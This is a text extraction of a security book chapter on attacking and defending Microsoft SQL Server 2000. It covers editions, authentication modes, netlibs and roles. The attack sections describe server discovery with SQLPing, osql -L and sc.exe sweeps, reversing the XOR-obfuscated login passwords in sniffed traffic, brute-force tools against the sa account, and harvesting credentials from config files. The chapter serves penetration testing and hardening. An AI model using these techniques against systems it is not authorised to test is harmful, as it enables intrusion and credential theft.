1. Trang chủ
  2. » Công Nghệ Thông Tin

Attacking And Defending SQL Server

62 536 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 62
Dung lượng 863,21 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Primarily targeted at application service providersASPs and Internet service providers ISPs, this gives users the ability to com-pletely keep separate a customer’s data, settings, and ex

Trang 1

Attacking and Defending

Microsoft SQL Server

Solutions in this Chapter:

The Evolution of SQL Server

Understanding SQL Server Security Basics

Attacking SQL Servers

Defending SQL Servers

Writing Secure Applications for SQL Server

Related Chapters:

Chapter 4: XP Operating System

Chapter 5: Windows 2000 Operating System

Chapter 6: Windows Active Directory

Chapter 11: Hacking Custom Web Applications

Chapter 16: Network Architecture

Chapter 12

12:1

; Summary

; Solutions Fast Track

; Frequently Asked Questions

Trang 2

With all of the security hype out there focusing on Internet Information Server(IIS) worms,Trojan e-mail attachments, cross-site scripting, and Web site deface-ments, it might never occur to the average person that most corporate jewels donot lie on Web servers or desktops Customer data, credit cards, passwords, andcorporate secrets usually exist safely within the warm confines of your databasesystems—not the ephemeral systems that appear to be constantly under attack.But, just how safe is your database system anyway? Is it possible that someonedefacing your Web site might just be one hop away from the corporate jackpot?You betcha

In this chapter, we discuss the security of one of the most popular databaseproducts for Web-based development: Microsoft’s SQL Server 2000.We begin bybriefly examining the history of SQL Server and investigating the different edi-tions that are available Next, we delve into an overview of the entire SQL Serversecurity architecture and how the pieces work together

After covering the background, we investigate how attackers identify, trate, and escalate privileges in a SQL Server environment.We identify all of thetools and techniques that potential attackers may use in order to turn your serversinto theirs Next, we turn the tables on the attacker and look at what you can do

pene-to defend yourself against the same techniques Again, we look at defensive

weapons and how to leverage them against your adversaries now and in the future.Finally, we analyze how good SQL Server security can be undermined bypoor application development SQL injection techniques and SQL Server’s ownspecial weaknesses are discussed in detail However, these weaknesses can beaddressed, so we wrap the chapter up with discussions of how to make sure yourapplications don’t inadvertently destroy all that you have tried to accomplish

The Evolution of SQL Server

Before we dive into SQL Server’s security mechanisms, it is important to stand where SQL Server came from and how it evolved.This is vital for a variety ofreasons—one being that it will shed some light as to how the SQL Server securitymodel evolved, and also, why its evolution did not fully free it from the mistakes ofthe past Second, it helps to understand how SQL Server evolved into a multiple set

under-of editions and what the security implications are for each incarnation

Trang 3

Overcoming a Sybase Past

In 1987, Microsoft and Sybase joined forces to develop a version of Sybase’s SQLServer product for OS/2 Eventually, Microsoft decided that the SQL Serverproduct it was developing jointly with Sybase had a better future on theWindows NT platform In 1993, version 4.2 of Microsoft SQL Server wasreleased for Windows NT 3.1 Shortly after this release, in April of 1994, as itbecame obvious that their development efforts were headed in somewhat oppo-site directions, Sybase and Microsoft parted ways Since the breakup, Microsofthas enhanced the product further, and in 1998 released SQL Server 7.0, which itclaimed to be a complete rewrite of the query engine

From the security angle, it is important to understand the history of SQLServer because it places some perspective on how the current authentication andauthorization mechanisms evolved.When faced with a seemingly undocumentedfunction or a strange column in a system table, it may help to know that someareas of SQL Server’s vestigial components remain only for purposes of backwardcompatibility According to Microsoft, the current incarnation of SQL Servercontains very few code scraps from the Sybase version, but don’t forget to keepold Sybase tech support sites handy in case you wander across an undocumentedfunction—you never know what you might find

Primarily, the security implication of SQL Server’s evolution from a Sybaseproduct is that it inherited the intrinsic security model already present in theproduct Because of this, it has always existed in the product in order to supportother platforms (Netware clients, for example) and for backwards compatibility

The native SQL Server security model has not changed much over the yearsbecause Microsoft seems squarely focused on integrating SQL Server into theMicrosoft security model Unfortunately, the side effect has been that the nativeSQL Server security model contains none of features that one would expect tofind in most modern, robust authentication mechanisms

Understanding SQL Server Editions

Each version of SQL Server that has been released over the years has come in avariety of licensing editions Each edition is targeted for a specific purpose andhas different features and, sometimes, differing security implications In thischapter, the focus is on SQL Server 2000 (all editions except CE), which is thelatest version available Also keep in mind that the features and examples shownrefer to SQL Server 2000, but many of the techniques and vulnerabilitiesexplored apply to previous versions as well

Trang 4

Explaining SQL Server 2000 Retail Editions

The security implications of the various editions stem from the capabilities ofeach edition and which platforms are supported by them For example, given that

a certain edition does not run on Windows 98, simply finding that edition on amachine alerts an attacker that the host is NT/2000/XP In addition, the morepowerful an edition’s functionality, the more opportunities there are for an

intruder to exploit, such as more connectivity options or the introduction ofOnline Analytical Processing (OLAP) capabilities See Table 12.1 for a breakdown

of the SQL Server editions and the security implications of each

Table 12.1SQL Server Editions

SQL Server Edition Intended Purpose Security Implications

Enterprise Edition Large-scale production Runs only on server-level

servers that need near Windows editions, so an install unlimited scalability guarantees that Windows and decision support authentication is possible, services (OLAP) assuming full network connec-

tivity The added functionality of this edition (if enabled) means there may be more vectors for attack, such as full replication capability.

Standard Edition Small workgroups that Same as Enterprise Edition but

do not require OLAP without some of the more functionality advanced OLAP capabilities

(standard OLAP features only) Personal Edition Mobile users who can Is capable of running on

live with a database Windows 9x editions where

tuned for five users integrated authentication is not

or less an option Forced SQL Server

authentication means the weaker security model is always selected.

Developer Edition Developers who need Developers are sadly sometimes

the full functionality the least security conscious, and

of the Enterprise development systems are also Edition but do not change-sensitive Expect these intend to use the installations to be rarely up to database for date.

production

Trang 5

MSDE 2000

First appearing with the release of SQL Server 7.0, the Microsoft Data Engine(MSDE) is a freely distributable version of SQL Server primarily targeted atstand-alone applications.You’ll find it lurking on Microsoft Office and VisualStudio distribution CDs, and it has several restrictions, including being tuned forfive or less concurrent users (like the Personal Edition) and limited to 2GB insize MSDE also includes no management tools such as Query Analyzer (QA) orEnterprise Manager (EM), so your only way of communicating with it is theosql.exe utility (unless you have the tools from the SQL Server CD installedsomewhere)

The security concerns with MSDE exist on several levels.The primaryproblem is that the user usually is completely oblivious to the installation ofMSDE by an application Because of this, MSDE installs are rarely configuredsecurely and are rarely kept up to date with the latest security patches Forexample, we have all seen shops where every other development workstation hadboth SQL Server Developer Edition and a MSDE install (usually from installingthe Visual Studio.NET samples)

WARNING

An additional frightening “feature” of MSDE is that, by default, it cutes with LocalSystem security context, thus allowing anyone who can successfully stage a buffer overflow attack instant administrative access

exe-to the machine When designing applications that use MSDE, take the time to set a low-privilege account and assign it as the service account.

For more information on customizing an MSDE installation see http://support.microsoft.com/default.aspx?scid=KB;EN-US;q233312.

One additional security concern of MSDE is that service pack installations can

be cumbersome.This is due to a variety of reasons For one thing, the service packfor MSDE is a separate download from the normal SQL Server service pack Forexample, at www.microsoft.com/sql/downloads/2000/engsp2.asp you’ll find thatthe MSDE patch is named SQL2KDeskSP2.exe and is totally separate from thenormal SQL Server download In addition, when you read the sp2readme.htm filethat explains the installation details, you’ll find that if your version of MSDE wasinstalled using the file sqlrun01.msi you can upgrade to Service Pack 2, but ifyou’ve used any of the other 15 possible installers (sqlrun02–16) then you’ll have

Trang 6

to order the SQL Server Service Pack 2 CD from Microsoft If you need helpdetermining your MSDE installer file, see http://support.microsoft.com/default

.aspx?scid=kb;en-us;q311762 Be sure to review the readme file that comes with

the SQL2KdesktopSP2.exe download for more information regarding MSDEupdating

Understanding SQL

Server Security Basics

In order to effectively defend SQL Server, you must first understand its basic minology and features Even if you are completely familiar with SQL Server, takethe time to at least reread this section in case there were some security-relatedsubtleties you may have missed Each facet of SQL Server has security implica-tions that may not be obvious at installation time, but it is important that youknow them in order to match the risks with the specific threats that exist in yourdeployments

ter-Explaining SQL Server Instances

Beginning with version 2000, SQL Server now supports multiple instancesinstalled on a single machine Primarily targeted at application service providers(ASPs) and Internet service providers (ISPs), this gives users the ability to com-pletely keep separate a customer’s data, settings, and executables (server executa-bles only—client tools are shared) from another customers SQL Server instance.Obviously, this could be a good thing from a security perspective However, it canalso have some serious implications (see the sidebar that appears in this section).Try this: Ask a developer in your organization how many instances of SQLServer they have installed on their machines? The most likely answer will prob-ably be a resounding “huh?”Truth be told, Microsoft has not a made it a verysimple task to immediately identify all your instances One quick way to check is

to look at the Services listing (in Control Manager or Computer Management)

for any service that begins with MSSQL.The default instance of SQL Server will

be called MSSQLServer, and any additional instances will be named

MSSQL$(Instance Name), such as MSSQL$Netsdk.

Trang 7

SQL Server Instance “Gotchas”

Although multiple instances can provide some security for ISP customers

by allowing for complete isolation of SQL Server data, there is one glaring drawback: SQL Server service packs and hotfixes apply to only one instance at a time When distributing SQL Server service packs over the network automatically, this can become a real issue How do you know which machines have multiple instances? How do you automati- cally apply service packs to each instance? These questions and more plague the poor administrator tasked with keeping the enterprise secured.

The good news is that administrators can detect multiple instances

of SQL Server using a number of free tools, including the following:

■ Microsoft’s HFNetChk (http://support.microsoft.com/

default.aspx?scid=KB;EN-US;q303215&)

■ SQLPing (www.sqlsecurity.com) HFNetChk also includes the ability to detect the service pack level and missing hotfixes for each SQL Server instance, making it an excellent tool for both detection and interrogation of SQL Server instances.

The bad news is that installing service packs and hotfixes to tiple instances can be cumbersome at best and requires a great deal of planning and double-checking to confirm that it has been done cor- rectly For example, the application of a service pack occurs only on a single instance at a time For unattended installations, it is necessary to know ahead of time the name of each instance and to create a separate sql2knm.iss file for each instance (see http://support.microsoft.com/

mul-default.aspx?scid=/support/servicepacks/sql/2000/sp2readme.asp for more information on unattended installations of service packs).

For hotfixes, the process can even be more unbearable Usually, hotfixes are not as simple as running a setup file but involve the replace- ment of certain files and possibly changes to Registry keys and other system settings These changes must be replicated for each instance and could take up a great deal of time in both execution and the double- checking that must inevitably go along with such a manual process.

There are some tools on the market, such as HFNetChk Pro (www.shavlik.com), UpdateExpert (www.updateexpert.com), and Service Pack Manager 2000 (www.securitybastion.com), that claim toTools & Traps…

Continued

Trang 8

disadvan-■ SQL Server and Windows mode

■ Windows only mode

The next sections discuss each mode in detail and help you determine whichmode should be used based on your requirements

help automate the installation of service packs and hotfixes, but none of them appear to work for multiple instances at the current time However, it is recommended that you contact those companies and inquire as to whether it has been recently added as a feature, and if not, request it immediately It would also behoove Microsoft to implement

an option to detect and apply service packs to all instances and consider

a smoother, more automated hotfix installation process (such as including SQL Server updates in Windows Update—

http://windowsupdate.microsoft.com).

Figure 12.1SQL Server Security Settings Dialog

Trang 9

Windows Authentication Mode

Windows Authentication, the new default in SQL Server 2000, is the Microsoftrecommended method In Windows Authentication, all clients are forced to pre-sent their credentials to the operating system first and thus always can be identi-fied by a security identifier (SID) by SQL Server.Think of this as “well, the

operating system trusts that this user is X, so I will trust that as well.”

The advantages of this model are numerous First, when using WindowsAuthentication, your connection string need not contain a password since theoperating system is the only entity performing the authentication In addition,this model can ease administration since it is not necessary to maintain two sets

of accounts (Windows users and SQL Server users) In fact, since SQL Serveradministrators can grant access to the server to entire Windows groups, it could

be possible to allow your entire organization to authenticate without adding asingle login! In addition, the Windows security model supports security optionsthat SQL Authentication does not, such as account lockouts, password lifetimes,and complexity rules

There are disadvantages to this model First, it works only when SQL Server

is installed on a server that supports NT authentication, such as NT Server,Windows 2000, or XP (which, admittedly, is a likely scenario anyway) In addi-tion, this model tends to be more problematic when the clients are not allWindows-based as well Imagine if you had a Linux application server that wasattempting to authenticate to the server via the Java Database Connector (JDBC)

Microsoft has given us the option for a powerful security model for SQL Serverbut at the price of platform requirements

SQL and Windows Authentication Mode

In this mode, clients can authenticate to the server using Windows or native SQLServer authentication.There is no option to allow for native SQL Server authen-tication only Native SQL Server authentication is a leftover from the Sybase daysand exists largely for backward compatibility and for connectivity to non-

Microsoft platforms.This method tends to be common for a variety of reasons,including ease of configuration (no need to create NT users or even know whothe current NT user is) and the fact that most books and magazines that includesample code use SQL authentication

If there are any advantages to this model, they are the aforementioned ease ofconfiguration, speed, and the possibility that in some setups, separate user contextfor different types of access For example, let’s say you had an application where

Trang 10

you wanted IIS users to have their own security context for requesting pages, butyou wanted all database access to happen through a single account In this case,SQL Authentication might be the best option I recommend that SQL

Authentication only be used in well-protected networks where only a limitednumber of clients have direct access to the SQL Server

The disadvantages of this model are many, however, and include a lack ofadvanced security features as well as the pesky requirement of storing runtime cre-dentials somewhere safe from prying eyes A common paradox is that although youwant your applications to run with minimal privileges, that also means the samelow-privilege account must have a way of procuring the secrets necessary to makethe application run.The debate about which model is better can get heated, but inthe end you need to evaluate your threat and risk levels and choose the model withthe best fit As a general rule, if the SQL Server is going to be exposed to directconnectivity by clients, consider Windows Authentication.The native SQL model,although sufficient in isolated environments, simply cannot stand up to a bruteforce barrage without significant modification If you need to set the authenticationprogrammatically, you can do this by editing the following Registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\LoginMode

or

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\

(InstanceName)\MSSQLServer\LoginMode

Set the Registry value to 1 (REG_DWORD) for Windows authentication or

to 2 for both Windows and SQL Server authentication

Network Libraries

Each instance of SQL Server can be configured to listen on a variety of network

libraries or netlibs A netlib is a communication channel with which clients can

connect to SQL Server.You can add or remove netlibs using the Server NetworkUtility (see Figure 12.2).Your choice of netlibs can have significant securityimplications, so choose well and remove any that are not in use

Super Sockets

With SQL Server 2000, all local server calls are made using the Shared Memorynetlib while all inter-machine communications use the new Super Sockets netlib(ssnetlib.dll).This netlib is what allows all other netlibs to support Secure SocketsLayer (SSL) communications and acts a router to allow communication on the

Trang 11

specific library of choice.Think of this netlib as a superset of the others thatmakes sure the proper underlying dynamic link library (DLL) is invoked and per-forms any encryption if needed on top of that netlib.

Shared Memory

All calls to SQL Server on the same machine, using (local) or a single period (.)

for the server name, use the shared memory netlib.This is the fastest netlib and isimportant for several security reasons.The most obvious is that no encryption isneeded to protect data on the wire since there is no wire (all communications arelocal).The primary security implication is that it is possible to totally restrictaccess to the SQL Server removing all netlibs Of course, the SQL Server willonly be able to call out to move data to other servers but will still be accessiblelocally and may be advantageous in certain scenarios

TCP/IP Sockets

TCP/IP sockets is the primary netlib for most SQL Server deployments and isenabled by default.This is also the preferred netlib for SQL Server clients (checkthe Client Network Utility), so you can expect to see a lot of it.The defaultTransmission Control Protocol (TCP) port for the primary instance of SQLServer is 1433.This port is configurable through the Server Network Utility ifyou wish to change it for security reasons Although changing the port may beadvantageous in evading the casual port scan, it should be noted that determinedattackers can still determine the port through other methods, such as queryingthe SQL Server resolution service (UDP 1434)

Figure 12.2The Server Network Utility Restricts Netlibs to the Bare Minimum

Trang 12

Named Pipes

The named pipes netlib uses Microsoft’s server message block (SMB) ality to communicate back and forth between clients and servers As expected,this requires that the client authenticate with the server via Windows authentica-tion in order to communicate with the SQL Server.This netlib might be a goodchoice when using Windows Authentication only on the server.There are pos-sible performance penalties when using this library in relation to TCP/IP sockets,but it does support multiple instances

SSL Encryption

With the release of SQL Server 2000, Microsoft is now offering support for SSLencryption using the Super Socket network library (Dbnetlib.dll and Ssnetlib.dll).This library works in conjunction with any of the supported intermachine com-munication protocols Luckily, SQL Server 2000 also comes with the capability toenforce encryption on both the client and server side of the connection.Theonly difficult part of configuring SSL on SQL Server is a lack of knowledge onhow exactly to install a server certificate.The certificate can come from either atrusted certificate authority (CA) such as VeriSign or can be issued from yourown certificate server.The important thing to keep in mind is that for SSL com-munications to occur, the client must trust the certificate issued by the CA For adetailed explanation of how to implement SSL with SQL Server, read the article

at www.mcpmag.com/Features/article.asp?EditorialsID=210

Understanding SQL Security Principles

Before delving into SQL Server attack and defense, you should become familiarwith the basic SQL Server security principles Each attack or defense will be betterunderstood once you realize what piece of the security infrastructure is being

Trang 13

exploited Key concepts to take away from this section involve understanding thedifference between logins and users as well as how permissions are assigned.

Server Logins

Logins are the front lines of the SQL Server authentication structure In order togain access to the server, each user must be authenticated against an entry in thesysxlogins table in the master database either by matching up a username andpassword (native SQL Server authentication) or by a SID (security identifier fromWindows) It should be noted that you can grant access to Windows users bygroup as well as by individual user accounts.This can greatly increase the ease ofadministration and is highly recommended if you are using Windows

Authentication mode in SQL Server

Server Roles

To ease server administration woes, every SQL Server has multiple built-in serverroles that allow the system administrator to delegate certain functionality totrusted entities without having to make them full administrators An example ofthis would be if you had a person that needed to perform bulk load operations

Some of the other server roles are listed in Table 12.2 (see the Books Online helpapplication for a more detailed explanation of these roles)

Table 12.2Server Roles and Their Primary Functions

Server Role Description

sysadmin Can perform any task in SQL Server

securityadmin Can manage logins

serveradmin Can set server options (sp_configure)

setupadmin Can configure linked servers and run sp_serveroption

processadmin Manages processes on server (ability to kill connections)

diskadmin Can manage disk files

dbcreator Can create and manage databases

bulkadmin Can execute BULK INSERT statement

Database Users

If logins are the front lines of the SQL Server security battlefield, users are themain force Users are the entities to whom actual permissions are assigned within

Trang 14

a database For example, when a database owner (DBO) creates a new stored cedure, he will assign execute rights to that stored procedure to a database user orrole, not a login It is entirely possible for a login named ‘chip’ to be mapped to auser named ‘chip’ in one database and a user named ‘bob’ in another.

Fixed Database Roles

Fixed database roles allow the database owner (db_owner) to delegate certain

capa-bilities to other users to ease administration and to keep from giving certain usersoverly excessive privileges It is highly recommended that administrators anddatabase owners regularly check these groups for membership to make sure noone has inadvertently been given undeserved privileges Refer to Table 12.3 for alisting of the database roles and a brief description of the role’s primary purposeand privileges

Table 12.3 Database Roles and Their Primary Functions

Fixed Database Role Description

db_owner Can perform the activities of all database roles

db_accessadmin Can add or remove Windows groups and users and

SQL Server users in the database

db_datareader Can read data from all user tables in the database

db_datawriter Can write/delete data to all user tables in the database

db_ddladmin Can add, modify, or drop objects in the database

Continued

Trang 15

db_securityadmin Can manage roles and members of database roles,

and manages statement and object permissions in the database

db_backupoperator Can back up the database

db_denydatareader Cannot select data in the database

db_denydatawriter Cannot change data in the database

Application Roles

Application roles are specially designed for applications where you want a user toaccess the SQL Server, but you only want the user to have access to heightenedprivileges when they use a particular application For example, let’s say you have

an accounting application that holds all of the payroll information.You don’twant to assign permissions to individual users in this case because if you grant auser read access to the SQL Server table you can’t always control how those userswill connect to the SQL Server.What if they use osql.exe or Query Analyzer?

What’s to stop them from accessing the data in ways that you never intended? Tosolve this, you could create an application role and then have the applicationswitch to that role before performing a function that requires heightened privi-leges.Then ensures that the user can only perform the desired functions when it

is done through that application

This functionality is implemented by first creating a database role by using

sp_addapprole, like so:

exec sp_addapprole 'app_role_name','strong_password'

The application can then issue the following command to switch securitycontext to the application role (and supposedly send the password to the SQLServer in an encrypted form):

exec sp_setapprole 'app_role_name',{Encrypt N'strong_password'},'odbc'

For the record, this feature should be considered only for niche applicationsand as a measure of last resort Besides the unpleasant prospect of having toembed a permanent password inside my application which users can easily scan(using a tool called an “entropy scanner” or other means), there are more sensiblealternatives For example, if you really want to have the user do something that

Table 12.3Database Roles and Their Primary Functions

Fixed Database Role Description

Trang 16

they can’t normally do inside an application, simply create a stored procedure thatdoes the required data access If the stored procedure is owned by a user (usually

dbo) with the proper level of privilege and doesn’t contain any exec statements, the

user will be able to execute the stored procedure to access the needed ality.This is a much more controlled method of data access and does not requirethe hard-coding of credentials

function-WARNING

The obfuscation scheme used by Microsoft for ODBC encryption has since been broken by Jimmers (Mark Rakhmanoff) Microsoft had included the feature as a way to pass encrypted credentials to an appli- cation across the wire Encryption is much too strong a word to describe what is happening to the password The encrypt function (invoked via

the special syntax such as {Encrypt N’password’}) uses a simple

obfusca-tion scheme whose algorithm is well published on the Internet Expect any such captured credentials to be easily reversed.

Read more at www.sqlsecurity.com/uploads/decrypt_odbc_sql.txt

Attacking SQL Servers

Before we discuss how to defend yourself from attackers, it is important to stand how attackers locate and penetrate SQL Servers or applications based onSQL Server.We delve into how SQL Servers are discovered, how attackers gainaccess, how to elevate your privileges once inside, and how to leverage a successfulattack for maximum advantage Remember that this is for informational purposesonly Performing many of these acts can get you in real trouble on your corporatenetwork, so only test the techniques on your own private network

under-Discovering SQL Servers to Attack

Assuming you are testing your own servers or have been contracted to perform apenetration test, you probably already have a list of Internet Protocol (IP)

addresses to evaluate Attackers, however, could have a myriad of reasons forchoosing potential targets, including revenge, profit, or general maliciousness.Never assume that your servers are too low profile to appear on anyone’s radarscreen Many attackers simply scan IP ranges for jollies—assume that your ISP orinternal network is infested with these individuals and plan for the worst

Trang 17

We now evaluate some of the ways that SQL Servers can be discovered eitherfrom the Internet or from within the Enterprise.Whether an attacker is targeting

a certain IP range or randomly scanning for low-hanging fruit, the tools andtechniques they use for SQL Server discovery remain the same.Try some of thetechniques and see how many SQL Servers you can find.The techniques we out-line include the following:

■ Understanding and getting information from the SQL ServerResolution Service

Performing Osql –L probes to list servers

■ Sc.exe sweeping of services

■ Port scanning

■ Using commercial alternatives

Understanding the SQL Server Resolution Service

When Microsoft introduced the multiple instance capabilities of SQL Server

2000, they ran into a bit of a conundrum: How does a user who knows the name

of an instance get connected to the proper TCP port since the ports (besides thedefault instance, which by default listens on TCP 1433) are assigned dynamically?

Microsoft addressed this issue by creating a listener on UDP 1434, which it refers

to as the SQL Server Resolution Service.This service is responsible for sending a

response packet that contains connection details to clients who send a speciallyformed request.This packet has all of the details to allow the client to connect tothe desired instance, including the TCP port of each instance, the other sup-ported netlibs, the instance version, and whether the server is clustered

If you’d like to see the listener service in action, you can download theSQLPing utility at www.sqlsecurity.com to send that special request and see theresults for yourself.The following is a sample request for any SQL Servers on mylocal subnet:

c:\sqlping 192.168.1.255 SQL-Pinging 192.168.1.255 Listening

ServerName:BRUTUS InstanceName:MSSQLSERVER IsClustered:No

Trang 18

atten-vidually SQLPing works by sending out a packet with a payload of x02 (in hex)

and then opening a thread to listen for any responses SQLPing 2.2 has sincebeen released and offers a graphical user interface, IP range scanning, IP list scan-ning, and some brute-forcing features (see Figure 12.3)

Figure 12.3SQLPing 2.2 Includes Account Brute Forcing, IP Lists, and IP Range Scanning Capabilities

Trang 19

Osql –L Probing

Osql.exe is a command-line utility provided by Microsoft with SQL Server 2000(and MSDE 2000) that allows the user to issue queries to the server Osql.exe

includes a discovery switch (-L) that will poll the network looking for other

instal-lations of SQL Server It does this by issuing a UDP broadcast on 255.255.255.255

with the discovery payload of x02 (in hex).This means it does not provide the

pre-cision of SQLPing, nor does it allow for scanning on other subnets Osql.exe willonly return a list of server names and instances but no details about TCP ports,netlibs, or any other information is provided As a side note, osql.exe also returnsany aliases that might be listed in the following Registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo

SC.exe Sweeping of Services

It is also possible to query servers to see if they are offering SQL Server services

using the Server Controller (sc) command.This will require at least user-level

access to the server being probed For example, the following command will

inquire an adjacent server about any services that have MSSQL in the name.

sc \\machine_name query bufsize= 60000|find "MSSQL"

Buffer Overflow Vulnerabilities Found in Resolution Service

At the time of writing, NGSSoftware (www.ngssoftware.com) had recently announced that all versions of SQL Server 2000 (and MSDE 2000) are vul- nerable to several buffer overflows and a denial of service attack by simply sending specially formed requests to UDP port 1434 Microsoft has issued

a patch for the vulnerability at www.microsoft.com/technet/security/

bulletin/MS02-039.asp.

This vulnerability basically allows any unauthenticated attacker to

take control of the SQL Server and run code of his choosing with the security context of the SQL Server service account It cannot be stressed

enough just how important it is to either apply this patch or block all

UDP 1434 inbound to the server.

Damage & Defense…

Trang 20

sc \\10.0.0.1 query bufsize= 60000|find "MSSQL"

The bufsize parameter is needed to overcome a restriction in the command

that caps the maximum amount of data that can be returned from the query.The

find command allows you to hone in on the exact data you are interested in.This

discovery mechanism works mostly for internal users but can be quite effective It

is also a handy technique for administrators to use when searching for rogue SQLServer installations

Port Scanning

When in doubt, break out your favorite port scanner and start looking for SQLServers.The obvious place to start is the default TCP port 1433.The thing tokeep in mind is that the administrator may have moved the TCP port using theServer Network Utility Also, this will not uncover any instances that may havebeen installed beyond the default instance.The moral of the story is that youshould only port scan as a last attempt or as a quick way to discover servers thathave at least one instance of SQL Server.The changing of the default TCP port

on a default instance of SQL Server is fairly rare due to the fact that, prior to theSQL Server Resolution Service, it was necessary to manually configure clientswhen the default ports have been changed

Target Rich Environments

The Internet has provided attackers with a veritable smorgasbord of SQL Server targets Web hosting providers who offer SQL Server access must invariably give the customer access to the SQL Server from anywhere in the world (except possibly some that may require virtual private network [VPN] access) As an added bonus, most of these services require access only through standard SQL Server security (not Windows Authentication) and thus are subject to the weaknesses of that model, including the following:

■ No account lockouts

■ No password complexity enforcementNotes from the Underground…

Continued

Trang 21

Commercial Alternatives

If you’re not yet comfortable with the command-line tools, and doing your ownport scanning is not something you relish either, you can always try one thecommercial offerings that can ease some of the manual processes As of thiswriting, some of the more popular and powerful offerings are

■ AppDetective for Microsoft SQL Server by Application Security, Inc

(www.appsecinc.com)

■ NGSSQuirreL by NGSSoftware, Ltd (www.ngssoftware.com)

■ Database Scanner by Internet Security Systems, Inc (www.iss.net)

In addition to complete scanning and enumeration functions,AppDetective can perform a brute-force dictionary attack to simulate an externalpenetration and gives a good feel for how your SQL Server would stand up tojust such an attack As for NGSSoftware, NGSSQuirreL performs the auditing

to see if your SQL Server has case-sensitive passwords.

It should be noted that Web-hosting providers are not the only examples of publicly exposed SQL Servers Other examples of common targets are

■ Home users and internal developers that install SQL Server and fail to use a personal firewall

■ Companies that offer telecommuting to developers but don’t use VPN access

■ Client-server applications that require direct access to the SQL Server and have been plugged into the Internet for remote users

Trang 22

and scanning capabilities to help create a hardened installation (see Figure 12.4).

It has the capability to produce hardening scripts as well as scripts to undo thehardening should the application break Database Scanner from ISS can performaudits of both passwords and SQL Server configuration but at last check still didnot detect multiple instances As always, download and test the latest versions forthe required features

Acquiring an Account

Assume that your SQL Server hunt was successful and you are now armed with acollection of IP addresses, instance names, and TCP ports Now is time to acquiresome security context so that you can gather information about the server, such

as its version information, databases, tables, and other information that would helpmake the decision about which is the juicier target: the SQL Server data or theoperating system

Sniffing Packets

Native SQL Server passwords are notoriously weak both within SQL Server (due to weak policies) and in transit (due to poor obfuscation).Time to get your

Figure 12.4NGSSQuirreL

Trang 23

favorite packet sniffer and start capturing traffic to and from your target(assuming you have this level of connectivity) Passwords transmitted over thewire are trivially obfuscated so that a simple numbers game can turn them intoplaintext.The password is converted to Unicode and XOR’ed with A5 beforebeing transmitted over the wire In order to get the plaintext, simply XOR the

“obfuscated” byte value with A5 to produce the original character (you will have

to reverse the two hex characters so that 07 becomes 70, for example)

Even if you cannot sniff any accounts on the wire, it may be useful to simplymonitor the SQL Server traffic passing over the wire Assuming no encryptednetlibs are used, it may be possible to obtain a great deal of information by moni-toring the data on the wire.This data can include database names, parameterspassed to system stored procedures, usernames, and other sensitive information

Brute Forcing Accounts

Another method of gaining access is to prey upon the weak passwords that arefrequently used in SQL Server and attack certain accounts directly If you areaware of or can guess the naming convention used for SQL Server accounts, thisshould be no problem Assuming that you cannot do this, simply attack the

System Administrator account (sa) directly since the account must exist.

Obviously, if the server is in Windows Authentication mode, you’ll need to obtainsome operation system context first

There are several tools for brute forcing accounts Most all of them involvethe use of a dictionary of passwords to compare against each user account.Table12.4 outlines each of the available tools for SQL Server penetration testing thatshould exist in every toolbox and which are best for a given situation

Table 12.4Tools for SQL Server Penetration Testing

Author/

SQLDict Arne www.sqlsecurity.com/ GUI-based password

Vidstrom uploads/sqldict.zip brute-force tool with

no instance support SQLlhf Matthew www.sqlsecurity.com/ Command-line brute

Wagenknecht uploads/sqllhf.zip force tool that can

scan large networks and supports

instances

Continued

Trang 24

AppDetective Application www.appsecinc.com Commercial tool that

Security, Inc can perform

brute-force attacks, tion tests, and scans for multiple instances Database ISS www.iss.net Commercial tool that

accounts and other penetration tests SQLPoke xaphan www.sqlsecurity.com/ Can issue script

uploads/sqlpoke.zip against IP address

range Could be used for good by applying

a corrective action against servers en- masse No instance support

SQLbf xaphan www.sqlsecurity.com/ Command-line

brute-uploads/sqlbf.zip force tool with no

instance support SQLPing v2.2 Chip Andrews www.sqlsecurity.com/ Combines the multiple

uploads/sqlping22.zip instance functionality

of SQLPing 1.0 with brute-force capabili- ties

NGSSQuirreL NGSSoftware www.ngssoftware.com Discovery, scanning,

auditing, and ening script generation NGSSQLCrack NGSSoftware www.ngssoftware.com Perform auditing of

hard-SQL Server passwords internally by extracting hashes and brute- forcing them

Finding Application Configuration Files

Often, the connection information for applications that user SQL Server is stored

in places accessible to those determined to find it Common places to look are

Table 12.4Tools for SQL Server Penetration Testing

Author/

Trang 25

the system Registry, “include” pages in Web-based applications (db_connect.incfor example), and configuration files for application servers, such as global.asa (for Active Server Pages) or web.config (for ASP.NET) If you can gain access tothese files, you may find the connection details you need to directly log into theapplication.

WARNING

Microsoft’s installation routines have had a number of issues related to passwords being left in the open by temporary files used during installa- tion It is a good idea to go beyond any installation or service pack to make sure any messes are cleaned up (problematic files have been sqlsp.log and setup.iss) There are a number of Knowledge Base articles related to these issues—make sure to address them before considering any installation complete.

■ www.microsoft.com/technet/treeview/default.asp?url=/technet/

security/bulletin/MS02-035.asp

■ http://support.microsoft.com/default.aspx?scid=kb;en-us;

Q263968

Escalating Your Privileges

Privilege escalation (PE) can occur as either an increased level of privilege inside

an existing application or the ability to step outside the bounds of the currentapplication to execute code of your choosing PE can be achieved through bugs

in an application server (SQL Server), through bugs in the application that runs

on top of SQL Server, or even through such devices as Trojan horse procedures

Exploiting Unpatched Vulnerabilities

Although it is useful for us to quickly review some of the more popular bilities that have occurred in SQL Server, it should be noted that a fully patchedSQL Server should be impervious to them.When you have determined the ser-

vulnera-vice pack level of a SQL Server (using the @@version system variable), you can

compare it against vulnerability databases such as the one at SecurityFocus(http://online.securityfocus.com/cgi-bin/sfonline/vulns.pl).This database, forexample, will allow you to select the version of SQL Server all the way down tothe service pack and get a nice, sorted list of vulnerabilities, exploits, and patchlocations

Trang 26

